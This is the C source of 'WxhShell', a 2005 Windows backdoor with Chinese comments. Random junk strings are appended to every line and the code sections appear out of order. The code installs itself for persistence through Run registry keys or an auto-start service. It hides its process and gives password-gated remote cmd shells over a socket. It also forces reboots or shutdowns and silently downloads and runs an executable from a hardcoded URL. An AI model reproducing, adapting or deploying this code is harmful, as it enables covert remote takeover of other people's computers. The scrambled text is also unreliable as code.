    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {YF(6wVl  
    if(Boot(SHUTDOWN)) J *;= f8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OZ6:u^OS]  
    else { xt1Ug~5  
    closesocket(wsh); pmgPBiU>  
    ExitThread(0); ~UQX t r  
    } LW!>_~g-  
    break; %abc -q  
    } i>%A0.9  
  // 获取shell (DY&{vudF  
  case 's': { ]\(Ho  
    CmdShell(wsh); SGK 5  
    closesocket(wsh); =;~*YD(%/  
    ExitThread(0); #R*7y%cO  
    break; ?(Ytc)   
  } PM`iqn)@  
  // 退出 (Q}ByX  
  case 'x': { usR+ZQaA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c;.jo?RR2  
    CloseIt(wsh); 4n6t(/]b<  
    break; ,C0D|q4/!.  
    } 2U@:.S'K  
  // 离开 vE&K!k`  
  case 'q': { t_w2J=2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dQ=L<{(  
    closesocket(wsh); (CInt_dBw~  
    WSACleanup(); V)A7q9Bum  
    exit(1); xv~Sk2Z+d  
    break; rr]-$]Q  
        } p9![8VU  
  } 8,-U`.  
  } K@tELYb  
-S7i':  
  // 提示信息 O'h f8w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dF$&fo%  
} /p$+oA+  
  } TGHyBPJb  
(Rh$0^)A  
  return; 2hsRYh  
} y 'Ah*h  
A$70!5*  
// shell模块句柄 bMB*9<c~  
int CmdShell(SOCKET sock) qi$nG_<<Z  
{ %>Mcme>(W  
STARTUPINFO si; >f70-D28  
ZeroMemory(&si,sizeof(si)); 5O[\gd-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #@L5yy2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \1<8'at  
PROCESS_INFORMATION ProcessInfo; ~(\ .j=x  
char cmdline[]="cmd"; B["jndyr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ca<OG;R^  
  return 0; DdqE6qE  
} .S[M: <<*  
zE+^WeH|  
// 自身启动模式 W/<Lp+p  
int StartFromService(void) 9D]bCi\  
{ S4VM(~,o  
typedef struct l'7' G$v  
{ ^ddC a  
  DWORD ExitStatus; >~jl0!2z@  
  DWORD PebBaseAddress; X3'd~!a)  
  DWORD AffinityMask; iX-.mq$  
  DWORD BasePriority; m= rMx]k  
  ULONG UniqueProcessId; 8Y [4JXUK  
  ULONG InheritedFromUniqueProcessId; v^aI+p6  
}   PROCESS_BASIC_INFORMATION; 9XmbHS[0V  
Rk#p zD  
PROCNTQSIP NtQueryInformationProcess; QL:Qzr[  
%OOy90b2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i,,mt_/,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P"+R:O\!g  
F},kfCFF  
  HANDLE             hProcess; j{YIVX  
  PROCESS_BASIC_INFORMATION pbi; # J^ >7v  
ogqKM_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :9f 9Z7M  
  if(NULL == hInst ) return 0; AjJ/t4<  
kn+@)3W:*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +2>, -V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .EZ8yJj1Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ssAGWP  
/9o6R:B  
  if (!NtQueryInformationProcess) return 0; gfiFRwC`v  
`jec|i@oO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u)vS,dzu  
  if(!hProcess) return 0; IZuP{7p$  
+I+RNXR/{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C!Jy;Z=+u  
o1thGttVDg  
  CloseHandle(hProcess); [9yd29pQ]  
]e$n;tuW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9<.8mW^68  
if(hProcess==NULL) return 0; Ld 0j!II(  
`4wy *!]  
HMODULE hMod; 0-p %.}GE  
char procName[255]; 4kR;K !@k  
unsigned long cbNeeded; Q)\[wYMt  
h{ZK;(u$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r,q.RWuII  
!LCy:>i!d  
  CloseHandle(hProcess); A4 /gVi|  
'p)DJUwt  
if(strstr(procName,"services")) return 1; // 以服务启动 {LT2^gy=  
&5*t*tI  
  return 0; // 注册表启动 *Ag3qnY  
} D;z!C ys  
9{0%M  
// 主模块 c3WF!~1r  
int StartWxhshell(LPSTR lpCmdLine) i!eY"|o  
{ / 2MhP=,  
  SOCKET wsl; WBR# Ux  
BOOL val=TRUE; "n{JH9sA:  
  int port=0; l!": s:/'  
  struct sockaddr_in door; -`$J& YU  
}!"Cvu  
  if(wscfg.ws_autoins) Install(); (dh9aR_a  
# )s +I2  
port=atoi(lpCmdLine); 2fXwJG'  
8! /ue.T  
if(port<=0) port=wscfg.ws_port; Zzmo7kFx3  
TN<"X :x9  
  WSADATA data; 0^)~p{Zh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jl|^^?  
G?!8T91;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *+(eH#_2/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .g94|P  
  door.sin_family = AF_INET; nI] zRduC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S5r.so  
  door.sin_port = htons(port); [E/. r{S  
n8JM 0 U-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aSI%!Vg.  
closesocket(wsl); i=&]%T6Qk  
return 1; )1 QOA  
} 9A87vs4[  
/ S@iF  
  if(listen(wsl,2) == INVALID_SOCKET) { r.c:QY$  
closesocket(wsl); ;p87^:  
return 1; K5z<n0X ~  
} OTNI@jQ)  
  Wxhshell(wsl); @'y8* _  
  WSACleanup(); Df$~=A}  
w|NId,#f  
return 0; 0QyL}y2  
*;Cpz[N  
} 3J8M0W   
B~b ='jN  
// 以NT服务方式启动 uMRzUK`QK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 40z1Qkmaey  
{ yCkX+{ki  
DWORD   status = 0; Bn.5ivF3  
  DWORD   specificError = 0xfffffff; \jZ)r>US"  
]@~%i=. 7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U }I#;*F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "p+JME(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]f}(i D  
  serviceStatus.dwWin32ExitCode     = 0; X~/-,oV=A  
  serviceStatus.dwServiceSpecificExitCode = 0; qyh]v[  
  serviceStatus.dwCheckPoint       = 0; Z$%!H7w  
  serviceStatus.dwWaitHint       = 0; nzF2Waa-  
\f=kQbM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =5:S"WNj  
  if (hServiceStatusHandle==0) return; 74&{GCL  
-9Ygn_M  
status = GetLastError(); aj=-^iGG  
  if (status!=NO_ERROR) BkY#wJ'  
{ h iK}&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P@% L.y B  
    serviceStatus.dwCheckPoint       = 0; jy_4W!4a  
    serviceStatus.dwWaitHint       = 0; C0 /G1\  
    serviceStatus.dwWin32ExitCode     = status; ='@ k>Ka+  
    serviceStatus.dwServiceSpecificExitCode = specificError; rq1zvuUx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z?WVSJUVf  
    return; s(e1kk}"  
  } p*Yx1er1  
4n1 g@A=y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t;u)_C,bmP  
  serviceStatus.dwCheckPoint       = 0; b `bg`}x  
  serviceStatus.dwWaitHint       = 0; +;=>&XR0m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /c6]DQ<?  
} o)$eIu}Wg  
8VuLL<\|  
// 处理NT服务事件,比如:启动、停止 0k4XVd+Nv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [k&7h,  
{ w,_LC)9  
switch(fdwControl) O[z6W.  
{ B\qy:nr j  
case SERVICE_CONTROL_STOP: >/NegJh'F}  
  serviceStatus.dwWin32ExitCode = 0; .~TI%&#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NG23  
  serviceStatus.dwCheckPoint   = 0; W|(<z'S  
  serviceStatus.dwWaitHint     = 0; D&pX0  
  { *SlWA)9 Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O@w_"TJP/z  
  } PWquu`  
  return; u9u'5xAO  
case SERVICE_CONTROL_PAUSE: ] mK{E~Zll  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \ Co Z+  
  break; hZ.](rD  
case SERVICE_CONTROL_CONTINUE:  kKY,&Fn-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LabI5+g  
  break; F8M};&=*1r  
case SERVICE_CONTROL_INTERROGATE: EMdU4YnE"  
  break; qT&zg@m  
}; oel?we6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wD W/?lT&  
} <q Q@OUI   
E>O@Bv  
// 标准应用程序主函数 de[NIDA;`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0-57_";%Q  
{ zQUNvPYM  
P"Z1K5>2L  
// 获取操作系统版本 '@IReMl  
OsIsNt=GetOsVer(); 2=%]Ax"R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f hNJB0  
!89hO4 0r  
  // 从命令行安装 Vup|*d2r0E  
  if(strpbrk(lpCmdLine,"iI")) Install(); -KfMK N~  
Og8%SnEpMI  
  // 下载执行文件 JXR]G  
if(wscfg.ws_downexe) { x}=Q)|)]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WM4,\$  
  WinExec(wscfg.ws_filenam,SW_HIDE); B}K<L\S  
} J,s:CBCGL  
FMzG6nrdBN  
if(!OsIsNt) { 6&L;Sw#Dg  
// 如果时win9x,隐藏进程并且设置为注册表启动 NbCIL8f]  
HideProc(); P m&^rC;  
StartWxhshell(lpCmdLine); 5H|7DVG  
} 6E(..fo:"  
else `.]oH1\  
  if(StartFromService()) nT(AO-Ue^  
  // 以服务方式启动 @X9T"  
  StartServiceCtrlDispatcher(DispatchTable); +Fh,!`  
else 3II*NANeg  
  // 普通方式启动 I :bT"N  
  StartWxhshell(lpCmdLine); ^upd:q  
q-,`\ TS  
return 0; Nus]]Iy-g  
} "v0SvV<7  
hW6Ksn,*  
c `.BN(  
6$zd2N?  
=========================================== -3 "<znv  
^g"p}zf L"  
Vi0D>4{+  
QjYw^[o  
%;<g!Vw.k  
L|;sB=$'{  
" ZF8`= D`:R  
FPPl^  
#include <stdio.h> rEbH< |  
#include <string.h> Vock19P  
#include <windows.h> 7(P4KvkI  
#include <winsock2.h> ub+XgNO  
#include <winsvc.h> G|||.B 8  
#include <urlmon.h> pRUQMPn (  
6z:/ma^  
#pragma comment (lib, "Ws2_32.lib") SwaPRAF  
#pragma comment (lib, "urlmon.lib") !XM*y  
1s(i\&B  
#define MAX_USER   100 // 最大客户端连接数 `tXd?E/e  
#define BUF_SOCK   200 // sock buffer %|>D{q6C  
#define KEY_BUFF   255 // 输入 buffer Q ;5A~n  
6#\:J0  
#define REBOOT     0   // 重启 u1d%wOY  
#define SHUTDOWN   1   // 关机 bf2r8   
PzhC *" i}  
#define DEF_PORT   5000 // 监听端口 ]v?jfy  
AS[j)x!  
#define REG_LEN     16   // 注册表键长度 CC3M7|eO3  
#define SVC_LEN     80   // NT服务名长度 \+0l#t$  
I[w5V;>*  
// 从dll定义API 8!@}\6qM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~k}O"{ y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SUW=-M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x3.,zfWs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j *;.>akY7  
\~t!M~H  
// wxhshell配置信息 TmM~uc7mj  
struct WSCFG { %az6\"n  
  int ws_port;         // 监听端口 H$pgzNL  
  char ws_passstr[REG_LEN]; // 口令 ?IoA;GBg  
  int ws_autoins;       // 安装标记, 1=yes 0=no mZuLwd$0  
  char ws_regname[REG_LEN]; // 注册表键名 ,WM-%2z^4I  
  char ws_svcname[REG_LEN]; // 服务名 dJdOh#8+Xi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yNU}1_oK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {z;4t&5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 " SP6o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A..`?oGj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !,]c}Y{i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [F(iV[n%  
G2+ gEg  
}; $M+'jjnP  
BQ70<m2D$  
// default Wxhshell configuration 4x@W]*i  
struct WSCFG wscfg={DEF_PORT,  obPG]*3  
    "xuhuanlingzhe", Dca,IaT'  
    1, H0.A;`  
    "Wxhshell", %Z,n3iND  
    "Wxhshell", Z+[W@5q  
            "WxhShell Service", f/4DFs{  
    "Wrsky Windows CmdShell Service", iun_z$I<+Z  
    "Please Input Your Password: ", t~) g)=>  
  1, 4Tx.|   
  "http://www.wrsky.com/wxhshell.exe", o)DO[  
  "Wxhshell.exe" V7O7"Q^q  
    }; /^bU8E&^M  
n[# **s  
// 消息定义模块 W/CZ/Mc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Iek ] /=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #^$_3A Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gi2Fjq/Y  
char *msg_ws_ext="\n\rExit."; IY mkZ?cW  
char *msg_ws_end="\n\rQuit."; HS\'{4P  
char *msg_ws_boot="\n\rReboot..."; G-;EB  
char *msg_ws_poff="\n\rShutdown..."; ?du*ITim  
char *msg_ws_down="\n\rSave to "; ' ~fP#y  
v\?l+-A? y  
char *msg_ws_err="\n\rErr!"; ;cp||uO  
char *msg_ws_ok="\n\rOK!"; 6K=}n] n  
D]|{xKC}  
char ExeFile[MAX_PATH]; kc}|L9  
int nUser = 0; oJ/=&c  
HANDLE handles[MAX_USER]; p<w C{D  
int OsIsNt; O'3/21)|y  
0($On`#  
SERVICE_STATUS       serviceStatus; 6E^9>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; | qelvK*  
`VDvxl@1  
// 函数声明 DnW/q  
int Install(void); &FYv4J  
int Uninstall(void); `~41>mM%  
int DownloadFile(char *sURL, SOCKET wsh); &!M6{O=~  
int Boot(int flag);  a3a:H  
void HideProc(void); q(1hY"S"}b  
int GetOsVer(void); ~C3Ada@4  
int Wxhshell(SOCKET wsl); 3*(><<ZC  
void TalkWithClient(void *cs); yx;K&>  
int CmdShell(SOCKET sock); +kD JZ  
int StartFromService(void); $d,{I8d  
int StartWxhshell(LPSTR lpCmdLine); s'IB{lJ9  
l m(mY$B*_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >$=l;jO`n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xh!T,|IR  
Gm0}KU  
// 数据结构和表定义 bT|-G2g7Z  
SERVICE_TABLE_ENTRY DispatchTable[] = vGI)c&C>  
{ =wD&hDn4  
{wscfg.ws_svcname, NTServiceMain}, 2+ g'ul`  
{NULL, NULL} }jdmeD:  
}; Cn5;h(r  
r)Ml-r =  
// 自我安装 _u6MSRX[6$  
int Install(void) iU3PlF[B/o  
{ T, PN6d  
  char svExeFile[MAX_PATH]; e#F3KLSL`  
  HKEY key; 6BEDk!  
  strcpy(svExeFile,ExeFile); MIWc @.i2  
>xsY"N&1i'  
// 如果是win9x系统,修改注册表设为自启动 s|TO9N)pO  
if(!OsIsNt) { J6rWe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %,aSD#l`f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x{Dw?6TP  
  RegCloseKey(key); 'SrDc'?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4nh0bIN1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HYY+Fv5  
  RegCloseKey(key); Q|2*V1"r<2  
  return 0; t"e%'dFv  
    } U^qS[HM  
  } :()K2<E  
} OIjG`~Rx  
else { DNyt_5j&:  
_?$w8 S%  
// 如果是NT以上系统,安装为系统服务 Ra:UnA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M &H,`gm  
if (schSCManager!=0) ocp  
{ `G:hC5B  
  SC_HANDLE schService = CreateService 5D XBTpCVM  
  ( LCq1F(q  
  schSCManager, zTi 8y<}  
  wscfg.ws_svcname, =5YbK1Q^  
  wscfg.ws_svcdisp, gi)C5J4  
  SERVICE_ALL_ACCESS, :7(d 6gEL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7| j rk  
  SERVICE_AUTO_START, w"O;: `|n  
  SERVICE_ERROR_NORMAL, ;M\Cw.%![  
  svExeFile, 5Kk}sxol  
  NULL, L%-ENk  
  NULL, +"~*L,ken0  
  NULL, 0 wDhX  
  NULL, w]V684[>  
  NULL Ub4)x  
  ); 8H8Q  
  if (schService!=0) \]\h,Y8  
  { ?`6Mfpvj96  
  CloseServiceHandle(schService); t?=V<Yd1  
  CloseServiceHandle(schSCManager); 4\uq$.f-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~SsfkM"  
  strcat(svExeFile,wscfg.ws_svcname); |t;Ktl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T| R!Aw.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rL?{+S]&^)  
  RegCloseKey(key); g9d/nR X&  
  return 0; q~*|Wd'&  
    } o? K>ji!  
  } ]"j%:fr  
  CloseServiceHandle(schSCManager); w6^TwjjZ$  
} (Fq]y5  
} oU*e=uehj  
Y ._O m}H  
return 1; ,jD-fL/:  
} .f!:@fX>=  
G%h+KTw  
// 自我卸载 7;?7q  
int Uninstall(void) f3:dn7  
{ ]5MT-qU  
  HKEY key; u9]M3>  
%+UTs'I  
if(!OsIsNt) { ft iAty0n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]I;owk,  
  RegDeleteValue(key,wscfg.ws_regname); V|{~9^  
  RegCloseKey(key); gI@nE:(m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &b2@+/ F  
  RegDeleteValue(key,wscfg.ws_regname); .v9i|E=<~  
  RegCloseKey(key);  BrZ17  
  return 0; ?,[$8V  
  } g  b[.Ww  
} \\d8ulu  
} RtDTcaW/  
else { g|4>S<uC  
pF}E`U=Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N~S#( .}[  
if (schSCManager!=0) 5p3: 8G7  
{ q>6,g>I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dKw[#(m5v  
  if (schService!=0) %uo#<Ny/ I  
  { &[yYgfsp  
  if(DeleteService(schService)!=0) { >gn@NJ2N  
  CloseServiceHandle(schService); !!Yf>0u#  
  CloseServiceHandle(schSCManager); Q2Uk0:M  
  return 0; <YCR^?hJSi  
  } 2<V`  
  CloseServiceHandle(schService); gx C`Ml  
  } :z|$K^)7Z  
  CloseServiceHandle(schSCManager); W4h]4X  
} sp0_f;bC  
} )_?HBTG  
UCo<ie\V  
return 1; b8$%=Xp  
} 1WY$Vs  
(@O,U  
// 从指定url下载文件 >}u#KBedE  
int DownloadFile(char *sURL, SOCKET wsh) m&s;zQ  
{ gs~u8"B  
  HRESULT hr; piIGSC  
char seps[]= "/"; 4~WSIR-  
char *token; zXwdU5 8  
char *file; ,.L o)[(  
char myURL[MAX_PATH]; ax 2#XSCO  
char myFILE[MAX_PATH]; ?~]mOv>  
a^VI)  
strcpy(myURL,sURL); v)*eLX$  
  token=strtok(myURL,seps); Y$qjQ1jF+  
  while(token!=NULL) !8RJHMX&  
  { =~dsIG  
    file=token; ER4#5gd  
  token=strtok(NULL,seps); nGTqW/k[+s  
  } ye| 2gH  
=Prz|   
GetCurrentDirectory(MAX_PATH,myFILE); C"k]U[%{  
strcat(myFILE, "\\"); .wtYost v  
strcat(myFILE, file); zT hut!O  
  send(wsh,myFILE,strlen(myFILE),0); (YYwn@NGj  
send(wsh,"...",3,0); W)Yo-%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V<KjKa+sG  
  if(hr==S_OK) Xxm7s S  
return 0; V:AA{<  
else ^[ 2siG  
return 1; ]Rmu +N|  
:/}=s5aQl/  
} 1O90 ]c0  
fECmELd  
// 系统电源模块 = mhg@N4  
int Boot(int flag) Yg1HvSw\  
{ Z/;8eb*B7  
  HANDLE hToken; QxBH{TG  
  TOKEN_PRIVILEGES tkp; ya;(D 8x)  
FGpV ]p  
  if(OsIsNt) { J]Q-#g'Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h?GE-F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2k`Q+[?{q>  
    tkp.PrivilegeCount = 1; j?! /#'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dmMrZ1u2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gLbTZM4i  
if(flag==REBOOT) { )_Iu7b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?.nD!S@  
  return 0; _Vr}ipx-k  
} ,awkL :  
else { L1q]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eHyIFoaC/  
  return 0; "YV vmCp  
} m`@~ZIa?>B  
  } ',6d0>4 *  
  else { xQqZi b5I  
if(flag==REBOOT) { G4uOY?0N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #*}cc  
  return 0; rFto1m  
} miY=xwK&  
else { ED A6b]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (~:ip)v  
  return 0; .5#+)] l  
} GGGz7_s ?  
} . B6mvb\  
2y9$ k\<xV  
return 1; 3C#Sr6  
} ?A 5;"  
:IozWPs*  
// win9x进程隐藏模块 (%{!TJgZR  
void HideProc(void) Wtflw>-  
{ @^b>S6d "  
u4[rA2Bf8E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m!Aw,*m+*  
  if ( hKernel != NULL ) =%;TVJk*a  
  { /8lmNA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ` >k7^!Ds  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P0-K/_g  
    FreeLibrary(hKernel); \Iz-<:gA'  
  } F=;nWQ&  
DM{Z#b]  
return; t y%Hrw  
} 7t6TB*H  
,k,+UisG  
// 获取操作系统版本 LlbE]_Z!U%  
int GetOsVer(void) VS5D)5w#  
{ U H6 Jvt  
  OSVERSIONINFO winfo; N9O}6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !LpFK0rw  
  GetVersionEx(&winfo); 4/&.N]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3u= >Y^wu  
  return 1; `Fb%vYf  
  else 5>h# hcL  
  return 0; n<>]7-  
} K- TLzoYA  
}DkdF  
// 客户端句柄模块 fvoPV &:  
int Wxhshell(SOCKET wsl) WAGU|t#."  
{ ET~^P  
  SOCKET wsh; E,|OMK#   
  struct sockaddr_in client; F^7qr  
  DWORD myID; s&6/fa  
G}'\  
  while(nUser<MAX_USER) nD{{/_"'  
{ ]Q{MF- EKj  
  int nSize=sizeof(client); XC[bEp$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F2$?[1^f  
  if(wsh==INVALID_SOCKET) return 1; y~rtYI  
j.29nJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DA/ \[w?J  
if(handles[nUser]==0) Bvz& p)(  
  closesocket(wsh); =UZm4=T  
else \Jr7Hy1;  
  nUser++; OJ)XJL  
  } Cvtz&dH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iZ2nBi Q  
R|!4klb  
  return 0; N-Sjd%Z  
} 2?c%<_jPA  
;VPYWss  
// 关闭 socket ljk,R G  
void CloseIt(SOCKET wsh) >F;yfv;  
{ PKt;]T0  
closesocket(wsh); +HY.m+T  
nUser--; 5Fa/Q>N  
ExitThread(0); DbH'Qs?z  
} WL1$LLzN  
V(6Ql j7  
// 客户端请求句柄 {o8K&XU#&t  
void TalkWithClient(void *cs) !]!J"!xg*  
{ Qy| 6A@  
uS{WeL6%  
  SOCKET wsh=(SOCKET)cs; c4FU@^Vv  
  char pwd[SVC_LEN]; p~Mw^SN'  
  char cmd[KEY_BUFF]; 1tFx Z#(G  
char chr[1]; u!I=|1s  
int i,j; O3(H_(P  
Rnk&:c  
  while (nUser < MAX_USER) { M[Mx g  
WizVw&Iv  
if(wscfg.ws_passstr) { v'u}%FC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XM?C7/^k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3qrjb]E%}  
  //ZeroMemory(pwd,KEY_BUFF); b@)nB  
      i=0; #e$vv!&}  
  while(i<SVC_LEN) { *uvE`4V^Jg  
]0myoWpi3  
  // 设置超时 4d $T6b  
  fd_set FdRead; @s~*>k#"#  
  struct timeval TimeOut; v^1n.l %E  
  FD_ZERO(&FdRead); _t\)W(E&  
  FD_SET(wsh,&FdRead); 8fQaMn4V  
  TimeOut.tv_sec=8; E3h-?ugO'  
  TimeOut.tv_usec=0; 3 bl l9Ey  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ip;;@o&D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "$N 4S9U  
=}YaV@g<f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &,iPI2`O A  
  pwd=chr[0]; EL1*@  
  if(chr[0]==0xd || chr[0]==0xa) { o\:vxj+%*  
  pwd=0; f5hf<R),A  
  break; *^.OqbO[U  
  } c$R<j'7  
  i++; [knwp$  
    } U#F(%b-LC  
e><,WM,e  
  // 如果是非法用户,关闭 socket ^uWj#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .7MLgC;  
} NLO&.Q]#  
MGSD;Lgn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %1%@L7wP>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]j^rJ|WTH  
OJPi*i5*  
while(1) { c:_dW;MJ0  
;F\sMf{  
  ZeroMemory(cmd,KEY_BUFF); Pxe7 \e  
LkUi^1((e  
      // 自动支持客户端 telnet标准   qwHP8GU  
  j=0; [35>T3Ku  
  while(j<KEY_BUFF) { 'V(9ein^Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EJJW  
  cmd[j]=chr[0]; [fr!J?/@  
  if(chr[0]==0xa || chr[0]==0xd) { ny[\yj4F  
  cmd[j]=0; Y EhPAQNj  
  break; eLN[`hJ  
  } >Gxh=**F  
  j++; %vjfAdC  
    } A7sva@}W  
xX2/uxi8  
  // 下载文件 s, ;L6nX"  
  if(strstr(cmd,"http://")) { WEk3 4crk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;q%V)4  
  if(DownloadFile(cmd,wsh)) PgwNEwG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F]`_akE  
  else Gque@u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); </)QCl'd  
